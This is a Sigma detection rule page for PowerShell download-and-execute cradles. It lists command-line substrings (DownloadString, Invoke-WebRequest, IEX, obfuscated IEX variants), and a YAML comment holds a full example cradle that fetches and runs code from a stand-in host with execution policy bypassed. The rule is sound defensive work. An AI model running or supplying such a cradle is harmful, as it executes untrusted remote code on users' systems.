Sigma Rule Library

PowerShell Download and Execution Cradles

Detects PowerShell download and execution cradles.

View on GitHubOpen raw file

Detection logic

selection_download

CommandLine|contains:
  - .DownloadString(
  - .DownloadFile(
  - "Invoke-WebRequest "
  - "iwr "
  - "Invoke-RestMethod "
  - "irm "

selection_iex

CommandLine|contains:
  - ;iex $
  - "| IEX"
  - "|IEX "
  - I`E`X
  - I`EX
  - IE`X
  - "iex "
  - IEX (
  - IEX(
  - Invoke-Expression

Condition

all of selection_*

Raw YAML

title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
status: test
description: Detects PowerShell download and execution cradles.
references:
    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
    - https://labs.withsecure.com/publications/fin7-target-veeam-servers
author: Florian Roth (Nextron Systems)
date: 2022-03-24
modified: 2025-07-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    selection_download:
        CommandLine|contains:
            - '.DownloadString('
            - '.DownloadFile('
            - 'Invoke-WebRequest '
            - 'iwr '
            - 'Invoke-RestMethod '
            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
    selection_iex:
        CommandLine|contains:
            - ';iex $'
            - '| IEX'
            - '|IEX '
            - 'I`E`X'
            - 'I`EX'
            - 'IE`X'
            - 'iex '
            - 'IEX ('
            - 'IEX('
            - 'Invoke-Expression'
    condition: all of selection_*
falsepositives:
    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly
level: high

False positives

  • Some PowerShell installers were seen using similar combinations. Apply filters accordingly

References

Similar rules